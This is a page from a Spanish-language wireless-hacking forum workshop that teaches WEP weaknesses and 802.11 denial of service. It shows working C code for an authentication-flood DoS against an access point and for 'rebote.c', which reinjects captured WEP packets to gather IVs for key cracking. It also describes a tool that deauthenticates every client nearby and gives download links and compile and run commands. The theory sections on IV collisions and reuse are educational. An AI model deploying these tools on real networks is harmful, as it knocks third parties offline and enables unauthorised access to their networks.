La parte que nos interesa es esta:
 
Código:
--
...
...
unsigned int mac_ap[6];  //mac_ap es la mac del AP y mac_cli la mac de la víctima
unsigned char DoS_AP[30];

// Solicitamos la entrada de MAC's por pantalla
printf ("\nEscribe la MAC del Punto de Acceso ----------------> ");
scanf ("%02X:%02X:%02X:%02X:%02X:%02X", &mac_ap[0],&mac_ap[1],&mac_ap[2],&mac_ap[3],&mac_ap[4],&mac_ap[5]);

/***************************************/
/* Construimos la trama de Autenticación */
/***************************************/

// FRAME CONTROL bytes 0 y 1
DoS_AP[0]=0xB0; // Esto es AUTENTICACION!!!
DoS_AP[1]=0x00;

// DURACION bytes 2 y 3 Valor al azar, para el ejemplo 30 01
DoS_AP[2]=0X30;
DoS_AP[3]=0X01;

// MAC DESTINO -- LA DEl PUNTO DE ACCESO (DoS_AP+4, DoS_AP+5... hasta DoS_AP+9)
for (z=0;z<6;z++) DoS_AP[4+z]=mac_ap[z];

// MAC ORIGEN -- MAC Falsa ALEATORIA (DoS_AP+10, DoS_AP+11.... hasta DoS_AP+15)
for (z=0;z<6;z++) DoS_AP[10+z]=rand() & 0xFF;
DoS_AP[10]=0x00;
// MAC DEL BSSID -- LA DEL PUNTO DE ACCESO Dos_AP+16, DoS_AP+17 hasta DoS_AP+21)
for (z=0;z<6;z++) DoS_AP[16+z]=mac_ap[z];

// Número de Fragmento y número de secuencia bytes 22 y 23
DoS_AP[22]=0x10;
DoS_AP[23]=0x00;

DoS_AP[24]=0x00;
DoS_AP[25]=0x00;

// Número de Secuencia de la Autenticación (por ejemplo, 02 00)
DoS_AP[26]=0x02;
DoS_AP[27]=0x00;

// Razón y Estado de la DoS_AP bytes 28 y 20. Satisfactorio!!!!

DoS_AP[28]=0x00;
DoS_AP[29]=0x00;


// Mostramos en pantalla la trama a enviar
printf ("\nTrama a enviar"
"\n***** * ******\n");

dump_packet(DoS_AP,30); //Volcamos el paquete a enviar por pantalla para ver su encapsulado
 

printf("\nPulsa Ctrl+C para cancelar el ataque\n\n");


// Comenzams el ataque DoS contra el AP.

z=1;
while(1)

{
printf ("\rEnviando trama número %i \r",z);
  fflush( stdout );
z++;
send_packet(DoS_AP,30); //Enviamos paquete
usleep(50000); //Se espera 50mil ms, se enviarán unos 200 paq. x segundo
//con mac's aleatorias.... en 5 segundos el AP recibirá
//1000 solicitudes con sus 1000 mac's. Resultado => Desbordamiento
//y transcurridos unos segundos mas => todas las estaciones también fuera

// Generamos una nueva MAC aleatoria
for (i=0;i<6;i++) DoS_AP[10+i]=rand() & 0xFF;
DoS_AP[10]=0x00;

// Nº Secuencia aleatorio para h80211

DoS_AP[22]=rand() & 0xFF;
DoS_AP[23]=rand() & 0xFF;

// Nº Secuencia Aleatorio para solicitud de autenticacion

DoS_AP[26]=rand () & 0xFF;
DoS_AP[27]=rand () & 0xFF;


}
....
....

--

Es interesante que te des cuenta como se construyen las tramas de autenticación

El código completo lo encontrarás aquí:

http://www.megaupload.com/?d=DQ5DD6YS

Y como siempre, para no tener problemas de compilación lo guardamos junto con el código fuente de la suite de aircrack-ng, con el nombre dosAP.c y lo compilamos:

Código:
--
gcc -g -W -Wall -Werror -O3 -D_FILE_OFFSET_BITS=64 -D_REVISION=0  -Iinclude   -c -o dosAP dosAP.c

gcc -g -W -Wall -Werror -O3 -D_FILE_OFFSET_BITS=64 -D_REVISION=0  -Iinclude dosAP.o common.o crypto.o -o dosAP -Losdep -losdep   -lssl -lcrypto
--


[size=18]Denegación de Servicio a TODAS las Redes y TODOS los clientes.[/size]

Al programita en cuestión le llamé dosLOCO.c, por aquello de que es una locura...

De lo que se trata es de capturar un paquete de datos cualquiera, de cualquier cliente de cualquier red, y proceder a una desautenticación, primero del cliente "descubierto" y luego de todos (al broadcast)

Así continuamente, cada vez que interceptemos cualquier paquete de datos, enviamos desautenticaciones a ese cliente y luego a todo el mundo... vamos que todo lo que esté "a tu alrededor" se desautentica... una maldad como dije.

Podríamos incluir "listas blancas" para no desautenticar a los que queramos... pero bueno, no importa el programa en sí mismo, interesa como capturar y colocar las mac's en el orden adecuado dentro de la trama a enviar.

Recuerdas la parte teórica donde hablábamos de "la danza de las mac’s" que dependiendo de si es un dato toDS o FromDS se intercambian mac origen y mac destino???

Pues en este ejemplo lo descubrimos y utilizamos, concretamente en esta parte del código:
Código:
--
...
...

if (h80211[1] % 3 ) == 3) continue; // Es un paquete WDS. no interesa. leer otro

switch( h80211[1] & 3 )
        {
            case  0: // es ad-hoc

memcpy (bssid,h80211+4,6);
memcpy (origen,h80211+10,6);
memcpy (destino,h80211+16,6);
break;

            case  1: // es ToDS

memcpy (bssid,h80211+4,6);
memcpy (origen,h80211+10,6);
memcpy (destino,h80211+16,6);
break;

            case  2: // es FromDS

memcpy (destino,h80211+4,6);
memcpy (bssid,h80211+10,6);
memcpy (origen,h80211+16,6);
break;
        }

if (origen[0] == 0xFF) memcpy (mac_victima, destino, 6);
if (destino[0] == 0xFF) memcpy (mac_victima, origen, 6);
...
...

--
Como ves analizamos el segundo byte del Frame Control (recuerda que se empieza a contar desde cero, el cero es el primero y el uno el segundo)

De esta forma, sabemos colocar las macs dentro de la trama de datos a enviar, no vaya a ser que enviemos desautenticaciones a quien no debemos.

Para comprobar si es broadcast asumimos que si el primer byte de la mac (origen o destino) es FF se trata de un broadcast, ciertamente deberíamos de comprobar los seis, pero con esto vale.

El resto del programa no debería ofrecer ningún problema de entendimiento después de todas las explicaciones que llevamos y de los otros códigos.

Lo puedes descargar de aquí:

http://www.megaupload.com/?d=OIS2LVIT

Y para compilarlo, como de es habitual, lo guardamos en el directorio fuente de aircrack y:

Código:
--
gcc -g -W -Wall -Werror -O3 -D_FILE_OFFSET_BITS=64 -D_REVISION=0  -Iinclude   -c -o dosLOCO dosLOCO.c

gcc -g -W -Wall -Werror -O3 -D_FILE_OFFSET_BITS=64 -D_REVISION=0  -Iinclude dosLOCO.o common.o crypto.o -o dosLOCO -Losdep -losdep   -lssl -lcrypto
--

Vale, ahora vamos a descubrir las vulnerabilidades WEP, daremos un reapaso a todas las conocidas y haremos ejemplos de estas:
• Reinyección de tráfico (ya veréis que inyecta muy, muy, muy deprisa).

• Ataque WEP de texto plano. Consiste en obtener keystream "a medida" para que luego podamos inyectar cualquier paquete en la red sin conocer la clave, envenenar la caché arp de los clientes, cambiar puertas de enlace, manipular dns, lo que se nos ocurra, y con cualquier herramienta, es decir, desde un escaner de puertos hasta un simple ping, sin necesidad de depender de aircrack o similares.

• Decodificación de paquetes. Mediante una técnica conocida como Ataque Inductivo seremos capaces de descifrar el contenido de cualquier paquete de datos cifrado con WEP sin conocer la clave. Además también podremos generar keystream para enviar paquetes "mal intencionados" a la red como en el caso anterior.

• Un detector de ataques. Como no todo es atacar y atacar, también construiremos un pequeño sistema de alertas que nos avise de estos ataques.[/list]

Pero, hasta entonces… un respiro y mañana al tajo.[/b]

ChimoC:

VULNERABILIDADES WEP. Parte I. Teoría

Colisiones IV

La primera vulnerabilidad que vamos a comentar es la que se conoce como IV Collision (Colsiones del IV)

Como hemos comentado, el IV es un valor de 24bits y aunque parezca un valor bastante grande: 2^24 = 16.777.216 vectores de inicialización, en la práctica no lo es tanto.

Supongamos una red cuya tasa es de 11mbps transmitiendo tramas de datos de 1500 bytes.

Código:
--
11.000.000 mbps / (1.500 * 8 bits ) = 916’67 paquetes por segundo.
--

Si dividimos el nº total de IV’s entre los paquetes x seg. De la fórmula anterior:

Código:
--
16.777.216 IV’s / 916’67 paq. X seg = 18.302 seg (aproximadamente)

18.302 segundos en horas: 18.302 / 3600 = 5 horas (aproximadamente)
--

Estamos asumiendo que sólo existe una sola estación en la red y que el IV se va incrementando en una unidad por cada paquete enviado, que se hecho es así en la mayoría de los casos.

Podrías pensar que el IV, en lugar de incrementarse de uno en uno, sería mas seguro que lo hiciese aleatoriamente.. pues no...

Existe un análisis denominado paradoja de cumpleaños, esto viene a decir que: si juntamos a 23 personas en una misma habitación, existe mas de un 50% de probabilidades que dos de ellas coincidan en el día y mes de nacimiento.

Si en lugar de 23 personas, reunimos a 50, las probabilidades de que dos de ellas coincidan en mes y día suben al 97% y si en lugar de reunir a 50, reunimos 60... la probabilidad es de mas del 99%!!!!

Aplicando la paradoja de cumpleaños al uso aleatorio de IV’s resulta que tras el envío de unos 4800 paquetes de datos existe una probabilidad cercana al 60% de que se repitan, por ello es preferible que los IV’s se vayan incrementando en una unidad que se escojan de forma aleatoria.

Cuando dos paquetes diferentes, con sus ICV’s diferentes se repiten, tenemos una colisión de IV.

Y???

Pues que si dos contenidos diferentes arrojan el mismo IV y si un atacante conoce el valor del texto plano de uno de los dos mensajes, se puede obtener el contenido del texto plano del otro mensaje con una simple operación XOR.

Pongamos un ejemplo muy sencillo, de un solo byte para no complicarlo mucho….



El atacante adivina, intuye o está completamente seguro de que el valor en texto plano de mensaje B es R (0x52), para conseguir adivinar el valor en texto plano del mensaje A:
Como el IV es el mismo para ambos mensajes cifrados, podemos obtener un keystream provisional haciendo un simple XOR entre los valores del texto cifrado de ambos mensajes:[/list]


Si ahora aplicamos este keystream al valor de texto plano del mensaje B (que suponemos o sabemos que es 0x52) nos dará el valor del texto plano para el mensaje A:



De este modo podemos descifrar un mensaje sin conocer la clave WEP.

Ya... lo sé... estás murmurando que Claro, esto si sabemos el texto plano de uno de los dos mensajes, cómo vamos a saber eso!!!????

Pues como veremos un poquito mas adelante, existen muchas formas, una de ellas es enviar paquetes desde la red cableada a la red inalámbrica (siempre y cuando estemos enchufados en la misma red, claro), otra es por el tamaño de los paquetes capturados, o por pura intuición (y algo de suerte, todo sea dicho)

Otra forma es aprovechar el uso de vectores de inicialización con contadores pequeños…

Hemos dicho que lo mas habitual es que a medida que se van transmitiendo paquetes de datos, las estaciones incrementan en uno el IV (para soslayar el tema de la paradoja de cumpleaños), cuando llega la cuenta al final, empiezan de nuevo desde el número uno y así cada vez.

Y se puede forzar que vuelvan de nuevo a la cuenta desde cero en un momento determinado???

Pues sí, las estaciones ponen el contador de IV’s a cero cuando:
• Se reinicia el sistema operativo
• Se desactiva la tarjeta de red y se vuelve a activar
• Cuando se desautentican y vuelven a autenticarseEl tercer caso es el mas asequible para un atacante… si provocamos un DoS al cliente o al punto de acceso, cuando vuelva a reasociarse el contador de IV’s volverá a contar desde cero.

Y???

Pues que cuando un cliente se asocia, los primeros paquetes que envía suelen ser del tipo DHCP Discover, DHCP Request, etc… También ARP request y ARP Response.

Este tipo de paquetes son bien conocidos en su encapsulación, suelen tener un tamaño fijo y son fácilmente predecibles.

Por tanto, el atacante, puede imaginar el contenido de casi todo el paquete en texto plano, si provoca un DoS en repetidas ocasiones y captura los datos cifrados, como los IV’s comenzarán de nuevo desde cero, podrá usar la técnica anteriormente descrita para descifrarlos.

Además, una vez que hemos descifrado un paquete completo o semicompleto, ya podemos obtener el verdadero keystream usado por la clave wep, con este keystream se puede descifrar cualquier otro paquete de datos siempre que se repita el IV.

Bueno, esto sólo es teórico, ya veremos que usando esta misma técnica lo conseguiremos en la práctica.

Y mas.., en  la observación de IV’s duplicados se basan algunos de los ataques estadísticas para obtener la clave WEP (he dicho la clave, no el keystream, y con la clave ya podemos participar de la red)

Reutilización de IV’s.

Quizás este sea uno de los mayores problemas de WEP, no existe un control sobre aquellos IV’s que ya fueron utilizados y se permite reusar el mismo IV tantas veces como se quiera.

Con la reutilización de los IV’s podemos inyectar paquetes sin mas, no hace falta conocer NADA del texto plano ni del keystream.

A continuación voy a poner dos códigos de ejemplo que nos servirán para la reinyección de tráfico.

El primero no es nada sofisticado, sencillamente se limita a capturar un paquete de datos de una red y reinyectarlo indefinidamente (bueno, ciertamente puse un contador para que pare cuando llegue a 100 mil paquetes).

Como es poco sofisticado, no sabemos a ciencia cierta qué demonios estamos inyectando... si tenemos suerte y se trata de un paquete de datos que requiere respuesta por el destino, perfecto!!!

Tendremos un bonito inyector de tráfico que generará muchos IV’s de respuesta y por análisis estadístico se podrá recuperar la clave WEP.

Si por el contrario, (como no es sofisticado, está tomando el primero que encuentra) resulta que el paquete elegido es un paquete del que no se espera resupesta alguna, pues sí… veremos que inyectamos paquetes, el tráfico subirá, pero el IV es siempre el mismo por lo que serán de poca calidad y aunque obtengamos miles de IV’s no seremos capaces de recuperar la clave WEP.

Por ello, los mejores candidatos a re-inyectar son paquetes del tipo:
• TCP-SYN (al recibirlo el destino, responderá con un TCP SYN-ACK generando un nuevo IV para cada SYN que enviemos)

• PING, los echo request de ICMP, lo mismo de antes, el receptor responderá con su pong (echo-reply) y por cada ping enviado generará un nuevo ICV en la respuesta pong.

• ARP Request, las solicitudes ARP son de las mejores, son paquetes pequeños, sencillos de manejar, de tamaño fijo y recibirán una respuesta (ARP response) del receptor, que como en los casos anteriores se generarán miles de IV’s diferentes por cada respuesta y tendremos base estadística para descubrir la clave.[/list]
Paquetes que no son muy útiles para la reinyección (hay muchos, sólo pongo algunos ejemplos)
• TCP RST un cierre de conexión no recibe respuesta

• TCP FIN, idem de antes

• Casi todos los paquetes UDP excepto unos pocos

• Casi todas las respuestas (en general) un ARP response no genera tráfico nuevo, una respuesta de una página WEB, una respuesta a un ping, etc… esos no son buenos candidatos para la reinyección.[/list]
Además, reinyectar paquetes TCP (y por consiguiente el resto de los protocolos subyacentes, http, FTP, etc…) es delicado puesto que como ya debemos saber, TCP mantiene un control de la conexión, un checksum de IP y de TCP, un numero de secuencia, etc… por lo que si repetimos dos veces un paquete TCP es muy probable que el destino lo descarte en silencio y no envíe respuesta alguna, con lo que nuestra reinyección será pobre.

El segundo código es más efectivo y obtendremos una inyección muy rápida y eficaz, al tiempo.

Se basa en el descubrimiento de paquetes que sí esperan respuesta del receptor de los mismos.

Por su sencillez y fácil generación lo haremos con paquetes del tipo ARP.

ChimoC:

VULNERABILIDADES WEP. Parte I. Práctica (1)

Reinyección de tráfico. Ejemplo 1. Programa rebote.c

Bien, pues vamos al primero, lo he llamado rebote.c y simplemente se pone a escuchar una red (se le pasa por teclado el BSSID del Punto de acceso) y cuando captura un paquete de datos se pone como un loco a repetirlo...

Observa en el código de mas abajo que se comprueba si la mac del punto de acceso aparece en "cualquier posición" de la cabecera 802.11 se procede a la comparación, es decir, si la mac del punto de acceso es origen, destino o bssid. (3 bucles for son los que lo controlan)

El código de este ejemplo aquí: http://www.megaupload.com/?d=L55EAI9C

Lo guardas en el directorio de las fuentes de aircrack con el nombre rebote.c

Y lo compilamos:

Código:
--
gcc -g -W -Wall -Werror -O3 -D_FILE_OFFSET_BITS=64 -D_REVISION=0  -Iinclude   -c -o rebote rebote.c

gcc -g -W -Wall -Werror -O3 -D_FILE_OFFSET_BITS=64 -D_REVISION=0  -Iinclude rebote.o common.o crypto.o -o rebote -Losdep -losdep   -lssl -lcrypto
--

Como ya he dicho, si hay suerte y se trata de un paquete del que se espera respuesta, pues mejor, si no, aunque envies millones de paquetes los IV’s no serán efectivos para recuperar la clave wep.

Este sencillo programa utiliza las funciones (estas tres ya deben ser mas que conocidas a estas alturas)
read_packet para leer los paquetes
send_packet para enviar (reinyectar en este caso) el paquete capturado
dump_packet para ver el paquete que estamos inyectando.[/list]Y las que nos interesan de verdad para el ejemplo, son las funciones:
rebote_datos que es la función encargada de la reinyección
main, pues eso, donde comienza todo.[/list]
Función main

Código:
--
int main( int argc, char *argv[] ) // inicio del programa
{
    unsigned int bssidAP[6];
//Comprueba el paso de parámetros
   if( argc != 2 ) {
    printf("\nUso: rebote interface\n\nEjemplo: rebote wlan0\n\n");
        exit( 0 );
    }

/* Abrir Interface wifi para enviar/recibir tráfico */

     opt.iface_out = argv[1];
    _wi_out = wi_open(opt.iface_out);
    if (!_wi_out)
            return 1;
    dev.fd_out = wi_fd(_wi_out);
    _wi_in = _wi_out;
    dev.fd_in = dev.fd_out;
    dev.arptype_in = dev.arptype_out;
    wi_get_mac(_wi_in, dev.mac_in);
    wi_get_mac(_wi_out, dev.mac_out);

/* drop privileges */
 
setuid( getuid() );

printf ("\nEscribe la MAC del bssid o Punto de Acceso ----> ");
scanf ("%02X:%02X:%02X:%02X:%02X:%02X", &bssidAP[0],&bssidAP[1],&bssidAP[2],&bssidAP[3],&bssidAP[4],&bssidAP[5]);

rebote_datos(bssidAP);

return( 0 );
}
--

Esto ya es habitual en todo este taller, prepara la interface wifi que usaremos, verifica el paso de parámetros, pide por teclado que le indiquemos un bssid (en formato xx:xx:xx:xx:xx:xx) y ese valor tecleado lo pasa como parámetro a la función rebote_datos
 
Contenido de la función rebote_datos

Código:
--
int rebote_datos(unsigned int bssidAP[6]) //
{
int n, z, caplen;
long nb_pkt_read;
int esmiap;
unsigned char macAP[6];
nb_pkt_read = 0;

printf ("\n**** Esperando un paquete de datos con destino a ");
for (z=0;z<6;z++) { macAP[z]=bssidAP[z]; printf ("%02X:", macAP[z]);}
printf ("\n\n");

while(1) // mientras no se hayan capturado datos interesantes
    {
       
        caplen = read_packet( h80211, sizeof( h80211 ), NULL );
printf ("\rLeyendo paquete número %ld \r", nb_pkt_read);
fflush (stdout);
nb_pkt_read++;
usleep(1800);

if ((h80211[1] & 0x40) != 0x40) continue; // si no es un paquete Wep activado, leer otro.

        if ((h80211[0] & 0x0C) != 0x08) continue;    //Si no es un paquete de datos, leer otro

    esmiap=0; //asumimos que el paquete tiene el bssid correcto que coincide con el tecleado
for (z=0;z<6;z++)
if (h80211[z+4] != macAP[z]) esmiap=1; //se verifican los 6 bytes por MAC
// si alguno de los bytes del bssid leido es
// diferente a los tecleados, el paquete no vale
// y se debe leer otro nuevo
for (z=0;z<6;z++)
if (h80211[z+10] != macAP[z]) esmiap=1; //se verifican los 6 bytes por MAC
// si alguno de los bytes del bssid leido es
// diferente a los tecleados, el paquete no vale
// y se debe leer otro nuevo
for (z=0;z<6;z++)
if (h80211[z+16] != macAP[z]) esmiap=1; //se verifican los 6 bytes por MAC
// si alguno de los bytes del bssid leido es
// diferente a los tecleados, el paquete no vale
// y se debe leer otro nuevo


if (esmiap == 0) // las macs tecleadas y capturadas coinciden!!!
break; // hacemos break para salir del while!!!


} // fin de while y captura de paquetes

/* Parece que tenemos un Candidato */

printf ("\nPaquete a enviar");
printf ("\n****************\n");
dump_packet (h80211, caplen);
printf ("\nEsperando 10 segundos para reinyectar el paquete de DATOS.");
printf ("\nEjecuta airodump para capturar el tráfico inyectado\n\n");
sleep(10);

/* Inyectar 100.000 paquetes de datos */

for (n=0;n<100000;n++) {
send_packet (h80211, caplen);
printf ("\rEnviando paquete número %i de %i bytes \r", n,caplen);
fflush (stdout);
usleep(1800);
}
return(0);
}
--

Como ves, a esta función se le pasa un argumento (bssidAP[6]) que será la MAC del punto de acceso de la red WEP y que tecleamos desde la función main.

Inicia con un while (1) indefinido hasta capturar un paquete, se analiza:
* Que el paquete capturado tenga el bit wep activado
* Que sea de datos
* Que el bssid sea el que se pasó como parámetroCuando estas tres condiciones se cumplen se termina el while.

Entonces, se presenta el paquete por pantalla y se envía 100 mil veces.

Como se indica en la ejecución del programa, es interesante que pongamos airodump a funcionar y así comprobaremos que efectivamente los paquetes de datos "crecen" exageradamente.

Recuerda que no tenemos certeza de que sea un "buen candidato" a la reinyección, por lo que igual, tras los 100 mil paquetes no tenemos IV’s significativos.

Vamos a verlo "en acción" Lanzamos nuestro rebote, por ejemplo:

Código:
--
./rebote eth1
--

Cuando aparezca en pantalla el mensaje de "Ejecuta airodump para..."  Lanzamos en otra shell airodump, por ejemplo así:

Código:
--
./airodump-ng -w test -c 7 -d 00:16:B6:41:03:5D
--

Aquí tienes el resultado....



Si acertamos con un "buen paquete" podemos pasar aircrack tras capturar unos miles de IV’s, que como hemos dicho no se garantiza un buen resultado, por ejemplo, este falló:



Pero lo importante no es hacer crack de la clave (por el momento) lo importante es comprender el asunto de la reutilización del IV en la reinyección de tráfico.

El próximo, no fallará :D

Páginas: (1/3) > >>